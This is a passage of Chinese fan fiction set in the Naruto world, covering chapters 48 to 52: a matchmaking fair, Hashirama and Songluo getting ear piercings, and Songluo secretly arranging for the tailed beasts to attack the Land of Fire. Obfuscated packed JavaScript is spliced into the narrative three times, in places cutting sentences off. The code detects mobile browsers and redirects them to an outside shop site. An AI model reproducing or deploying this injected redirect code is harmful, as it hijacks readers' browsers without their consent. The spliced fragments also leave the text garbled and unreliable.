松萝还记得她和玲给自己的练功小人书被没收了还差点让她羞愧致死的事情,一时不知道怎么开口,反而脑子里开始回忆,若兰当时好像是扉间派的来着? 果然她的下一句话就是: “天啊,你来这里,扉间大人不会吃醋吗?” 他不会,他跟结界术研究班相亲相爱四天四夜没回家了,他会吃醋个鬼哦。 跟她解释是没结果的,松萝深知。 于是她转向能正常对话的若树弟弟跟他搭起话来。 他今天主要是陪他姐姐来的,若兰年方十八,在这个时代女孩十三岁就有开始谈婚论嫁的,大多出嫁在十六岁左右,她俩这样的现在还好,再过两年就…… 她是不怕的,反正上头两个哥哥一副我要光棍一辈子的架势,有他们顶着轮不到她嘻嘻。 到了后半天就变成了若兰拉着她品鉴今天来的男人。 比如,“这个嘴唇都干裂了,太紧张了吧,没点胆量可不行”; “这个看着身材不错,但也只是看着,脚步虚浮,重心不稳,平常压根不锻炼吧”; “这哪家出来的,腰带上居然挂了八个玉佩,不嫌重吗”等等。 说真的,有了熟人瞬间觉得好玩了许多,两人一起哈哈哈哈笑了好半天。 直到傍晚,她们手挽手走出场地,就好像不是参加了一个相亲大会而是参与了一场闺蜜聚会一样,说说笑笑,无视了想靠近的男人们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033121|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了一个胆子特别大的,挡在了她们面前。 若兰的视线顺着束脚裤上移,雷达一样的眼神扫到黑色衣服下精瘦的腰身和宽阔的胸肌,在内心尖叫了一声,然后看到了一张过分精致但不该出现在这里的脸。 “扉间大人……” 松萝很惊讶在这里看到他,虽然她因为扉间一直不回家担心地去问过一次,但那次都没见到他人就被守卫拦在了外面。 那现在这是结界术的研究告一段落了吗? 她忽然感到腰被戳了一下,转过去就看到若兰在对她挤眉弄眼,还顺手在她后面推了一把。 松萝:…… 她被推得往前走了几步,大前天刚拆的固定板,走路慢点看不出来异样,实际上还没好利索。 知道这一点的扉间感到头疼不已,为什么这家伙就不能乖乖养伤呢?他听到汇报说她来找过就急匆匆丢下手中的东西回家找她了,找了半天的人结果居然看到她开开心心地从相亲大会上走出来。 呵,还好她不是挽着个陌生男人出来。 种种想法,他面上不显,只说了一句“走了,回家”,不过脚步却放得很慢。 “结界术完成了吗?” 两个人慢悠悠地走着,松萝随口问。 熬了几个晚上,扉间的声音比平常要哑一些:“算是完成了第一阶段吧。小范围内的刻印结界可以持续较长的时间,但是要将整个族地包括进去的话,持续时间和刻印材料都是个问题,卷轴不易长时间保存,现在在挑选矿石作为刻印载体,汤之国的流纹石质脆硬容易刻字但……” 他越讲越复杂,听着就像是在念经,偏偏还没有停下来的意思,松萝脸都皱了起来,开始后悔问起这个。 正好这时她看到前面几步远的地上有一个小坑,眼珠子一转,然后故意踩到坑里,双脚失去平衡,“哎呦”一声,往侧边倒去。 扉间顿时止住话头,接住她倒下的身子。 松萝得意地想,这念经一样的话题应该是继续不下去了吧。 她顺势挽住他的臂弯,不动声色地转移话题:“今天晚上吃什么呀,家里没有肉了,要不我们出去吃吧,我想吃卤肉饭了……” 在吃饭这点小事上,两兄弟一向是很迁就她的。何况唯一厨艺好的柱间还没回来,他俩一直都吃的很随便,扉间几乎是没怎么犹豫就答应了,于是他俩就半路改道去卤肉饭馆了。 千手扉间既是族长弟弟,又是管事高层,还是美男子,他的辨识度一直都是很高的,从手里剑训练场走到饭馆的一路上,有不少人对他打招呼。相比之下,同样是族长妹妹松萝因为没有在战场上作出过卓越表现,再加上她今日化了妆容,盛装打扮之下没有一个人认出她。 再加上从他们来时的那个方向,今日的大型联谊会的会场出来了不少结对的年轻男女,见着他俩手挽手的样子,跟扉间打招呼的人中也有不少人误会了,然后眯着眼露出神秘莫测的笑容。 卤肉饭馆此时人不少,他们想进去还要在门口排会儿队。 松萝站了一日,有些累了,但是今天穿了漂亮衣服,带了精美头花,美女的尊严不允许她一屁股坐到地上,有伤形象。她忍不住将半个身子都靠到了旁边的人身上,换着脚单脚站立。 扉间看着她动来动去,一下子就明白她是站累了,遂也揽着她,让她将重量都压了上来。 在外人看来,就是一对亲密的小情侣在搂搂抱抱,其中一个还是族长弟弟。 归家路过此处的三长老认出了一头扎眼白发的扉间,使劲眨了眨眼,不敢相信那个瞧着性冷淡的小子居然会在大街上跟女孩子搂搂抱抱,他感叹一声“年轻人”啊,就带着猥琐的笑容急忙赶回家了,族长家的俩兄弟中终于有一个愿意找女人了!他要赶紧把这个好消息告诉其他人,明日就上门催婚! 49.日常 毫不知情的两人吃了卤肉饭后慢悠悠地踱步回家。 看着大开的院门,意识到什么的松萝高兴地跳了起来,奔向院中好久不见的人。 “大哥!” 柱间看着也是刚回来的样子,衣服灰扑扑的,鞋子上前后也还沾着泥土。他正背对着来人,弯着腰,像是抱着什么东西,并且正在和怀里的东西角力,肩膀和背一耸一耸的。 “大哥?你在干什……” 话还没问完,一个黄白相间的圆球状影子似在柱间脸上一踢,露出了全貌,然后一跃占据了松萝的全部视线。 她无语地用双手拿下扒在自己脸上的生物,正是快变成野猫的猫咪老师,只不过看上去有点惨,身上毛都变焦黑了,倒像是去哪里的火堆滚了一圈。 “老师!”柱间脸上有一道被爪子挠出来的新鲜血痕,他捂着脸龇牙咧嘴地说,“你们知道我在哪找到他的吗?!石之国闹人心惶惶的尾兽就是他!” “不是我!” 松萝两手托着猫咪老师身体,举在半空,看着毛发的样子挺惨,但是肉还是那么多啊,一点都没变瘦呢。 他为自己辩解:“不是我,还有一只臭狐狸在,我只是找那家伙商量点事情,谁知道没讲几句话就打起来了。虽然破坏了农田我也觉得很对不住,但先动手的是那家伙!” 柱间插话:“是九尾,我远远看到了,不过还没接近它就跑了。” 他当时看到两个巨大的生物在漫天遍野地打架损坏田地的时候,还以为是两只尾兽,没想到其中一只白色长毛类犬类狐的“尾兽”竟摇身一变变成了猫咪老师。 松萝差不多从他们的话里推断出了事情经过,然后想通了什么地说:“所以猫咪老师你说你发现的狐狸就是九尾啊!” 她记得上次猫咪老师还说打赢了狐狸,也就是赢过了九尾…… “老师,你好厉害!” 柱间上前遮住松萝崇拜的眼神,夺过猫咪老师:“松萝!不要惯着他!” 为了赔偿被损坏的农田,他可是当了好久的苦力,又种树又犁田的,每天用木遁用到被榨干,还黑了一圈,就从没做过这么累的任务。 “看好这家伙,这么闹总有一天被抓起来。” 猫咪老师不服:“是那只臭狐狸先动手的!也不是所有的都脾气那么差,我之前还在湖里见过一只乌龟,就能好好对话。” “那只臭狐狸说我没安好心,而且还想把上次输给我的东西赖掉,然后就突然攻击我……” “诶,九尾原来是这种性格吗,听上去不是很稳重的样子……” …… 家里多了一人一猫就立刻热闹了许多,柱间跟猫咪老师互掐了一会儿就去洗澡了,走之前还叮嘱他不要破坏院子里的花田和菜田,差点脸上又被抓上一爪子。 柱间许久未归族里,晚上跟扉间单独谈了很久,了解最近的事情。 松萝则带着猫咪老师去洗澡修剪毛发。 第二天早上,千手弥实没来找她,若兰若树两姐弟倒是来了。 本来不想继续去那个超大型联谊会的松萝还是被他们拖着出了门。 “好姐妹,你就陪陪我吧,别放我一个人去。” 若兰都这么说了,她总不能不去吧。 不过临到出门时,一个黑乎乎的大脑袋突然挡到了松萝面前。 柱间扬起大大的笑容问:“去哪呀?带我一个?” …… 嗯……她果然不该答应的。 带着一个大名人出现的后果就是,所有人,不论男女,都对他们站着的这块空间退避三舍,偏偏暗地里还一直斜眼看着这边,被数十道这种又想靠近又不敢靠近的视线注视,真的好难受啊。 她忍不住用脚后跟踩了罪魁祸首一脚,顺带碾了碾。 “罪魁祸首”眨巴着无辜的黑色大眼睛,带着傻狍子式的灿烂笑容问她怎么了,有没有事。 松萝对着傻狍子突然打了个寒颤,她绝对有理由怀疑这家伙是故意的,黑心傻狗子,呸! 连若兰都不需要她这个好姐妹,一到地方就自己跑远了。 她无语,自己到底是来干什么的。 她今天是被直接拉出门的,穿的是白加绿的族服,不过没有披羽织,身边的人也是,在精心打扮的人群中朴素得像工作人员。当然没有人会真的这么认为。 但是柱间却赞她:“你今天真好看。” 嘴上说着这话,实际上,他脑子里浮现的是昨天她穿桃色衣服的样子。 松萝嘴角抽搐,大哥的审美一如既往,跟他以前的西瓜头一样。 “大哥,你……要不要转转?看看有没有喜欢的姑娘?” 总之离她远点,拜托了,族长大人。 他抬头环视了一圈,然后认真的回答:“没有。” 松萝抓狂:“不是让你眼睛转一圈!就这么看你能看出些什么来啊!” 她越发觉得这人笑得很假,是不是在故意糊弄她? 他突然凑过来,揽住松萝的肩说:“我视力好着呢,几百米外的敌人的动向都能看得一清二楚。看都看完了,我们走吧,别打扰了别人。” 松萝:??? 这是战场吗,是敌人吗?你也知道你打扰了别人啊,别说的好像是我的错一样。 她满脸问号地被柱间带着离开了会场,在里面停留的时间总共不过一盏茶。 所以,她到底是来干什么来了? * 柱间拖着人离开大会的时候,目光落到松萝干净的小巧耳垂上,他突然想起来,女孩子的耳洞一般都是母亲带着去打的,松萝来到他们家时母亲就已经去世了,自然也没有人带领她,其它地方会不会也因为这样被忽略了呢。 今日见到不少女子都带了耳饰,松萝却没有。 他出声问:“想打耳洞吗?” 虽然有些突然,但他是一旦做了决定就会贯彻执行的类型,既然决定要补偿她,择日不如撞日,现在就去。 松萝觉得自己想一出是一出的毛病的源头好像找着了,一定是眼前这个人传染的。 柱间的执行力很强,在路边找了一个卖瓜的婆婆问了哪里可以打耳洞就急忙带着人过去了,顺便带上了刚买的瓜。 到了打耳洞的店里,对着里面的陌生年轻妇女打了个招呼,将刚买的瓜送给店主然后把松萝摁在座位上,帮忙取针打下手。看他忙里忙外的样子,若不是松萝知道他是第一次来,说不定就误会他是店里打工的小伙子了。 店主取了一根手指长的细针,在火焰上反反复复地烤,当事人还没觉得有什么,陪同人员先紧张了起来。 柱间有些犹豫地问:“要用针扎吗?会痛吗?” 类似这种问题店主遇到的多了去了,不过这个小伙子人不错,她看着顺眼就多解释了几句:“对,扎完再穿棉线防止愈合。痛是会有一些的,但是女孩子为了好看,这点痛不算什么的。” 眼看着店主手里的针离松萝的耳垂越来越近,他心里一颤,突然伸手阻止,有些无措地说:“要不,我们还是不打了……” 松萝不懂他在怕什么,再痛也不过是短痛,而且也比不上打仗受的伤啊,她这么想也就这么问了,可柱间却皱眉回答说:“这不一样!” “哪里不一样?!” 说要打的是他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不不不,另一边不穿了!”柱间避开店主递过来的东西,慌忙避开,他受不了刚刚松萝因疼痛眯起眼发出的抽气声,还是他带给她的,他无法再下第二次手。 “啊?不穿了?” 店主和松萝同时发出疑惑。 这次他变得很坚定:“嗯。这根针……就给我打吧。” 松萝一头问号:“啊?”不是给她打耳洞来的吗? 店主愣了一下,然后吃吃地笑起来,她懂,以前也不是没遇到过同样只打一边的小夫妻,她穿了十来年的耳洞了,还有鼻洞,舌洞,什么没见过啊,她了然地点点头,然后把针递给了松萝。 松萝现在有点明白柱间刚才慌乱的缘由了,当这“凶器”落到她手中她第一反应也是想扔掉,她再次确认:“真的要打吗?” “嗯。” …… 过了一会儿,两个只打了右边耳洞的人走出小屋,一个脸上满是我是谁我为什么要只打一边的耳洞的迷茫,另一个认真地重复着“不能碰水,不能吃辣”的注意事项,眼梢却是上扬的。 直到他用他绝佳的视力看到了对街站着的脸色铁青的千手扉间,以及他掷出的黑色苦无上绑着的白色符文纸。 一个跑字在他嘴里还没吐出来,上一秒还在对街的人就已经闪现到他面前揪住了他的衣领,带着无尽的怨念和愤怒对他吼: “你又一声不吭跑哪去了!?” 这个样子的扉间是无法讲道理的,松萝在内心给柱间道了歉准备开溜之时,被一记眼刀定在了原地。 “你也是!” 又是鸡飞狗跳,柱间挨训的的一天。 当没有战事的时候,日子便是这样“平静祥和”。 50.契机 在族中休养了两个月出头的时候,千手松萝终于彻底恢复到了之前活蹦乱跳的状态。同时,她也收到了一个不好的消息,被封印在黑球里的那个生物忽然死了,变成一滩黑泥,彻底没了生息。 扉间告诉她这个消息时,一点都没有轻松之意。 封印术是千手柱间施展的,因此当几人离开禺黎城时,黑球被扉间带走了。宇智波兄弟没有意见,因为在那几天,他们能尝试的都尝试过了,没有撬出一点有用的信息。 “我有种不好的预感。”他这么说道。 这份不安在大名召见的指令书达到松萝面前时,到达了顶峰。 “我跟你一起去吧。” 收拾行李的松萝有些好笑,安慰他:“放心。如果发现有什么不对的话,我肯定跑得比谁都快!” “那你带上这个,我在上面留下了术式,万一发生什么用这个我可以立刻赶到你身边。” 扉间拿着一个苦无放到松萝面前,上面刻着一个由一个圆圈和数条直线组成的图案。松萝认得这个,是扉间最近新开发的一个叫做飞雷神之术的空间忍术,能让施术者不结印就能移动到与施术者或施术者的查克拉有接触的地方。简而言之就是高级版瞬身术。 他在训练场试验过几次,眼红瞬间移动的松萝也向他讨教过,结果原理太复杂,她记到一半就放弃了。 这可是个好东西,松萝小心地把它收到忍具包内。 * 她人间蒸发了。 一个月,没有任何消息。 都城那边早就飞来了催她晋见的书信。 所有人都说没有见过她。 “我们的情报网都不够的话,只能向别的忍族求助了……” 除了雷之国,因为常年与火之国的对立和水之国远在海上消息闭塞,其他地方只要费些功夫总能打听到想要的东西的。 千手柱间坐在堆满文件的桌前,垂着双手,仰天靠坐在椅背,双眼被长长的卷轴蒙住,白色的长卷一直延伸到地面。 刚刚出声的人走到他旁边,拿起遮住眼睛的东西,整齐卷好放到桌面。 千手柱间被突如其来的亮光刺到,不由得眯了眯眼。他的眼底有浅浅的黑色印记,下巴还剩两三根未剃干净的胡茬。 “嗯……他们要是有什么要求就先接下……”不是竞争对手就是敌对立场,忍者中不存在善良到愿意免费提供情报的大善人。 “还有一件事,”千手扉间拿出一张纸放到他桌上,“就是这个指名委托。” 白纸被整齐摊开,第一行就写明了此任务指定千手一族现任族长。 “好,我去一趟。” * 千手柱间穿行在山林中,他已经连续奔跑了三天三夜了,未见一点疲态。 目的地是泷之国,位于土之国与火之国之间,北面临海,东面是雾之国。 委托的内容并没有什么特别的,湖中出现了巨影怪物请他去调查。 这种一般都是夜间休息的旅人看到的幻影,极少数的可能是大型动物或者有人装神弄鬼,考虑到泷之国以旅游观光闻名,出现此类灵异传闻也确实是不大好。 所以他觉得这只是个普通的任务罢了……直到他看到了一个熟悉的蓝黑色身影。 青年正挥掉刀上的血珠,对背后的动静似有所感,转身,重新将刀架于身前。 树后走出一个人来,举着双手,昭示着他的无害性。 青年愣了一下,收刀回鞘。 “你怎么在这?” “调查任务……你不会也是吧?斑?” 将脚下的野兽置于一边,两人交换了一下信息,发现居然是一模一样的委托,从委托人到内容,一字不差。 “阴谋吗?”柱间甚至将自己的委托书掏了出来确认,除了指名人不同,别无二致,“为了什么呢?” “还能是什么,不过是盼着你我两败俱伤罢了。”把敌对忍族的族长凑一块儿,想想都知道没安好心。 “嗯……”柱间坐着沉吟了一会儿,“也许吧,不过我打算继续调查。万一委托人只是怕一个人完成不了所以特意找了我们两个人呢。” “我要去调查一下这个委托人。”总觉得怪可疑的。 * “你就不怕宇智波斑找到你头上来?” 半露天的竹屋茶室内,两名少女围着地炉,相对而坐。 室外是踏石铺就的露地,精心修剪过的树木环绕着石峰,水琴窟被巧妙地安置在庭院角落,水击落到竹筒和竹叶的沙沙声,形成了美妙的和声。 地炉上有一个小壶,壶口白烟袅袅,水开了。 浅栗色的衣袖缓缓伸向一旁的茶具,她肤色白皙,长发用木簪固定在脑后,正是刚刚开口询问之人。 对面之人双手捧着杯子,随性盘腿,跟面前跪坐得极为标准之人形成了鲜明的对比。 “我早就料到他会怀疑 ,中途放弃任务的。所以给他也准备了两个对手,拖住一段时间不是问题,嘻嘻。” “敢同时算计这两位大人,如果不是你,我真的要以为她是活腻了,千手松萝大人。” “被认为失踪的本人一点没有紧张感,反而坐在这里跟人品茶,我很好奇你回去怎么交代。” 失踪本人心虚移开眼睛:“怎么说的我好像是个反派似的,先斩后奏是我不对,但我也是为了推他们一把嘛。你会帮我的对不对,堇大人~~” 被她喊作堇的人拿起新泡的茶,浅浅吹了一口气,神色自若地等了一会儿才接话:“一个月前,火之国大名发现你杀了他的‘武士’,仍旧独占禺黎城,设置了鸿门宴命你去都城。 “于是你假装奉命上路,实际来到我这里,邻国的章之城‘躲避’,又用假任务同时引走千手、宇智波两族族长,实际上…… “任务目的地,各有两只尾兽在等着他们……这样子你还觉得自己干的事不像反派?” “嘿嘿”松萝尬笑两声,“我跟三尾他们都说好了,只是拖住而已,又不是生死之战,多好的修行机会。” “真亏尾兽们能听你的话呢。” 堇面上不显,内心暗叹一口气,她这些养心静气、装镇定的功力这几年算是锻炼出来了。 她本是火之国右大臣的女儿,被封为姬君后送到风之国,嫁与章之城的城主。 本该如此的。 但是,她到了这里才发现,那 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“三尾一直生活的湖里被附近的村民倒了很多生活垃圾,还有附近的强盗扔赃物扔尸体等等,我帮他解决了问题,还在湖边设置了不可打扰的保护带,所以他才愿意帮我的。” “二尾对一直生活的竹林有些厌倦了,我帮他找了新的落叶林,还做了很多玩具给他……” “四尾喜欢讲故事也喜欢听故事,我跟他约定了会经常带话本过去陪他聊天……” “……” “九尾虽然有点不情愿,但最终也愿意帮忙了。” “还好有辉夜出云帮我收集尾兽出没的踪迹,加上猫咪老师的帮忙,我才能在两年内找齐所有尾兽并说服他们帮我一回。” 堇擦掉不存在的冷汗,对于尾兽她还是内心有些恐惧,而且……这些事情,一看就不是一天办成的,为什么不早点跟她商量啊! ——让她做点心理准备啊!笨蛋老板! ——这样的话,跟那个只知道谋反的中二病笨蛋不就变成一个样子了吗! ——那个谋反笨蛋最近没在策划什么吧,风之国近五成的领土都快被他霍霍了!而且每次都是她在擦屁股!! 越想越气,原本优雅端庄的姬君有点维持不住良好的修养,深呼吸稳住了表情,说话时却还是带上了点咬牙切齿的意味:“让二、三、四、五尾兽分别拖住两位族长,然后呢?” 这之后要做什么她也没听说。 “很简单,剩下的大家一起进攻火之国就好啦!” 堇·前姬君·现打工人:!!!你确定你不是反派吗? 特别是当迟来一步抵达茶室的影枫听到这个计划双眼发光,亮得像两盏大灯的时候,堇的眼底彻底失去了色彩。 毁灭吧。 但是松萝并不打算让任何人帮忙,这是一场只有尾兽的演出。 理想状态下,火之国的忍者能够联合在一起抵抗,趁机结成忍者大联盟。 最差的情况下,她要跟大名进行交涉,以击退尾兽为代价,让他将禺黎城所在之地交给她。 这是她制造的“契机”,为她自己,也为千手和宇智波。 51.尾兽之乱 茶室里现在坐着三个人。 来迟了一步的茂林影枫端起茶杯一饮而尽,伸手:“再来一杯!” 堇嘴角一抽,这可是刚煮出来的水泡的茶:“笨蛋果然是不怕烫的。” 等进入正题的时候,他上来就是批评: “太粗糙了!” “计划粗糙!人员不足!目的不明确!” “好不容易得到了尾兽这种无敌的武器,应该更慎重地使用才对!” 松萝眨眨眼:“就像你利用一尾那样?” 他被突如其来的阴阳怪气噎到。虽然仍然觉得尾兽这种生物跟人类合不来,但也不得不承认,他们也是可以沟通的生物,并非毫无智力的查克拉集合体。 用“武器”称呼他们确实有失妥当。 影枫用咳嗽掩饰尴尬:“咳咳,但是这可不是个好主意,尾兽们一起行动的话,难免会有人猜测,有人在背后操控他们。这样一来,有的人就会产生‘既然有人可以控制他们,那这个人为什么不能是我’的想法。” “只是猜测的话随便他们去猜好了,真有不自量力的人去挑战他们的话,八尾和九尾应当挺开心的。” 她只想让大家明白,少了那两位力量超规格的族长的带领,单凭自己一族是不能够在这个乱世长长久久地活下去的道理就行。 在最危急的时刻,再次提出结盟的提议,接受度应该会被拔到一个新的高度。 堇却在担心另一件事情:“火之国的平民怎么办,他们没有自保的能力啊。” 这个松萝早就想过了:“没关系,我让他们带上地图了,标注了路线避开村落。遇到忍者可以过上几招,控制在不死人的程度就好。” 不过也有例外——西谷武家和中村武家,一群讨厌的家伙,干脆把他们老巢也划进路线了。 * “你这个笨手笨脚的死狐狸,把这么重要的东西烧掉了!” “明明是你没拿稳扔到我头顶了,老夫还以为是什么脏东西。” 守鹤指着地上的一团黑灰,另一手叉腰指责刚刚喷火将地图烧掉了的九喇嘛。后者不甘示弱地回击,九条尾巴在背后高高扬起,凶恶地龇牙。 牛鬼趴到地面,鼻孔里吹出一股白色的气流,黑灰飞舞,地图的残骸这下也彻底消失了。 那两个家伙太聒噪,上方的空气都难闻了起来。 犀犬是一只大型蛞蝓,有六条胖乎乎的白尾他本来盘在一棵树干上休息,现在也不得不扭动身子爬到一尾和九尾中间当和事佬:“九喇嘛,你两百年前不就住在这附近,地图没了,你来帮我们带路就好啦。” 他们才刚刚进入火之国,什么都还没开始就把地图搞没了,这样下去的话有点对不起小萝卜。 他生活的溶洞被开荒者发现,人越来越多,各种声音也越来越多,对他这种听觉敏感的兽来说,真的很折磨。要不是小萝卜帮他找了个更新更大更隐蔽的溶洞,他就不能像之前一样美美睡觉了。 所以前阵子小萝卜来找他帮忙时,他几乎是立刻就答应了。 小萝卜:……你敢不敢叫对一次我的名字啊!真的很失礼诶!六尾犀犬! 九尾交叉两条胳膊在胸前,切,到头来不还是要靠他:“我可保证不了百年前的城镇分布跟现在一样。” 他用爪子在地上歪歪曲曲地勾出几根线条分割区域,三根底部交叉的短线代表山林,又画出几个三角形用来代表记忆中人类聚居的地方,最后在右下角印下自己的爪印。 其它兽围拢成一圈看他画在地面的大作,原本飞在半空的七尾重明也降低了高度。 “大概就是这个样子吧!”九喇嘛潇洒地吹了吹爪子,露出得意的尖牙。 地图之前由守鹤保管着,他记得的部分最多,回忆了一下,又在上面添了两个圆圈,圈出了两个区域。 “我记得小萝说有两个地方的人特别特别可恶,要重点照顾一下,大概是这两个吧。” 牛鬼想起他瞥过一眼的地图,问:“原来的图纸上好像画着一条黑线,那是什么?” 守鹤笑了两声:“不小心画上去的吧?” 看了好一会儿,始终没看懂地上的鬼画符的白色蛞蝓终于忍不住了:“那是路线吧!还有,这画的是什么东西,谁能看懂啊?” 守鹤、牛鬼、九喇嘛同时回头看向他:“……” 重明:“丝丝——” 这种情况好像在说就他一个看不懂一样,犀犬对着地上无序的线条,怀疑起了蛞蝓生。难道真的是他理解能力有问题吗? 于是他被单独扔在一边自闭,剩下四兽定下了往那两处圈出来的城池前进的目标,并开始了时隔千年的尾兽团建。 * 西部中村大领主的城堡里,乱成了一团。 领主本人收到尾兽疑似朝己方靠近的消息,昨夜就扔下夫人孩子卷着金银跑路了。 三两个仍保有忠诚的人跪在殿中,口中喃喃,泪痕满面,其余大部分都在偷、砸、抢。 “这个是我的!”这是两个人在争夺精美的玉樽。 “交出宝物库的钥匙!”这是五个身材魁梧的武士围着瑟瑟发抖的老臣索要东西。 “谁来,帮帮我!”这是被抛下的领主夫人,抱着孩子乞求带她一起逃。 “快去通知附近的人避难!”这是侍卫长,少数还维持着镇定的人。 一样的事情也发生在西谷大领主的土地上。 现在火之国人人自危,走两步就能听见有人在讨论尾兽发狂的事情。 “世界末日”论的人不在少数,“阴谋论”的支持者倒是只有一小半。 更多的是淡定的摆烂人群:“大灾跑不了,不如吃饱睡好迎接审判。” 这种多见于对世道绝望的平民,反正也没地跑,干脆就如往常一样上田下田、吃喝拉撒了。 与此相对,火之国的各大忍族也都行动了起来。 东边隐居已久的山中、秋道一族出山,与“猪鹿蝶”的最后一角奈良一族汇合。北边的猿飞、犬冢、油女一族纷纷向对方发出了求助的申请。向来高傲不与人交流的日向一族这次也一反常态,与离得最近的旗木一族的使者进行了接洽。 势力范围横跨西南,几乎半个火之国的那两族,却至今没有什么动静。 从边境出现尾兽虚影已有三日,他们的“发狂”已经是确定事情,并且正在以摧枯拉朽之势朝着南方前进。 这样下去首当其冲的就是宇智波的所在地。 族内会议的气氛异常沉重。 特别是族长不在带给他们的打击,不信任、绝望在暗地里滋生。 “为什么族长这个时候音讯全无?”最上首的人响亮说出了他们的心声,语气却很平静,“这样子想的人应该不在少数吧。” “我也是一样的。我担心哥哥的安危,猜测他是不是被麻烦的事情绊住了手脚,却从未猜测过他为族群奉献的忠诚的心,他是以生而为宇智波自豪的人,他才是最有能力领导宇智波的人。我作为他的弟弟,要做的事情只有一个,在他回来之前,替他守好族人。” “为了所爱之人战斗而死,我不会后悔!你们要是也这样想的话,就跟我一起守卫到底吧。” 老弱妇孺已经在转移的路上,他们即将去邻国暂避。剩下的人本就是存了战斗意志的,只是一时迷惘有所犹豫罢了。 看着族人们逐渐坚定的眼神,宇智波泉奈松了一口气的同时,又揪起了心。 根据情报,往这个方向而来的尾兽恐怕是两只,仅凭他们的力量…… 他咬紧下唇,不安与不甘被他拦在齿缝中,不泄漏一丝一毫。 哥哥不在的情况下,如果提出联手,他们必定落于下方。但是,他又不能眼睁睁地看着族人们去死。 他陷入了纠结。 同时,南贺川南边的千手之森。 不论老少、不论男女都全副武装自发聚在练武场上,握着武器,干架的心思都显现在了脸上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062459|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这里的空地最大,往日开战前的动员大会都在这里举行。 列阵的最前方,一个人也没有。唯有各个作战小队的队长站到自己的阵列前头,振臂大喊:“给那些尾兽一点颜色看看!我们千手不怕他们!” 最应该在此时主持大局的千手扉间正在小房间里被一众长老围着进行问题炮轰。 “柱间那小子这个时候跑哪去了!” “一只尾兽也就算了,两只的话再怎么样也无法击退,怎么办?” “先让小孩子去漩涡那里避一下,留在这里太危险了。” “你在说什么,我们千手的小孩子也是出色的战力,不要小看他们!” “我没有小看他们,莽和勇可不是一回事!老头!” “你个有口臭的老太婆懂什么!” “秃头巴脑的死老头可闭嘴吧!” “……” 眼见对话就要往奇怪的方向偏,扉间大喝一声:“够了!” 他环视一圈最小也有六十岁的长老们,握拳闭目,这是他忍耐到极限的表现,顿时房间里没有人再发一言。 安静了几秒,千手扉间才呼出一口气,红瞳间光芒熠熠,直直望向前方:“去做准备吧。” * 肉眼可及的树木全部被折断,剩下粗矮的树桩。地面有一道深半米宽五米的烧焦痕迹,很长很长一直延伸到尽头,延伸到远处被削了一半的山头。 地上坑坑洼洼,白色的液体渐渐化为透明,腐蚀着地面的同时冒出缕缕带着酸味的白烟。 橙色的狐狸怪物是九尾,而白色的蛞蝓怪物就是六尾。 宇智波跟两只尾兽打了快一天一夜,已是强弩之末。 就在刚才,两只尾兽不知为何内讧了起来,六尾全身泛红,向着九尾发疯进攻。 他们释放出的查克拉浓度跟之前完全不是一个量级。 比较之下,跟他们战斗的两天两夜简直是在玩耍。 明明已经不是被针对的对象了,但是在这气势和战斗的余波下,宇智波们却连逃跑都很吃力。 宇智波泉奈咽下口水,忍住疲劳带来的想要吐的冲动。 他凌乱的鬓角本应垂下丝丝黑发,却都被汗水打湿,贴在脸上和脖子上。黑与白,形成了刺眼的对比。 他回望身后一眼。 一、二、三、四……还剩十人吗,还能拿着武器站立的居然只剩十人了吗…… 他到底在干什么,跟这种怪物相对? 为了自己微不足道的尊严,放弃了向千手求助的机会? 比起这些应该有更重要的东西的吧? 死者不能复生,活着的人的未来才是他应该优先考虑的事情不是吗? 泉奈背过身对他们下达了最后的命令:“你们带上不能动弹的人先离开。” 感受到部下的躁动,他厉声:“这是命令。” 与此同时,双目愈发红得鲜艳,三勾玉开始疯狂轮转,黑色部分扭曲,在中间形成一个小圆环,圆环周围射出三条直柱。 紫色的薄雾渐渐浮现,笼罩上他的身体。 力量从眼部开始扩散,泉奈感受到一股前所未有的掌控感。视野、听觉、握住刀柄的触感,一切都那么清晰。 “快去!” 随着大喝,他向前猛冲,双手结印,迎上倾盆而下的酸液。 拜托了,我的查克拉,只要再挤出一点就好,让我争取一点时间…… 超大的火球被吹出,灼热的温度接触到酸液的那一刹那,白色蒸汽产生,又在一瞬间被热风带走。 持续吹出查克拉,令他的喉咙涌上腥甜的味道,肺被挤压再挤压,好像要炸掉一样。 好痛苦。 但是不能停。 一旦停下来,酸液就会落在昏迷的族人身上。 他要代替哥哥守护好宇智波。 不能让他回来的时候,连个跟随者都没有…… “水遁·水龙弹。” 52.第 52 章 冷与热、水与火碰撞,“嘭”,宇智波泉奈就这么水灵灵地被爆炸的气流卷飞了。 ——笨蛋吗,用冷水去浇明火会产生爆炸这种简单的事情都不知道吗! 他虽然想这么吼一下这个没常识的来人,并问一下死敌为什么会挡在他面前,将脆弱的背后露在他面前等许多的疑问,但是喉咙的状态却不允许他这么做。 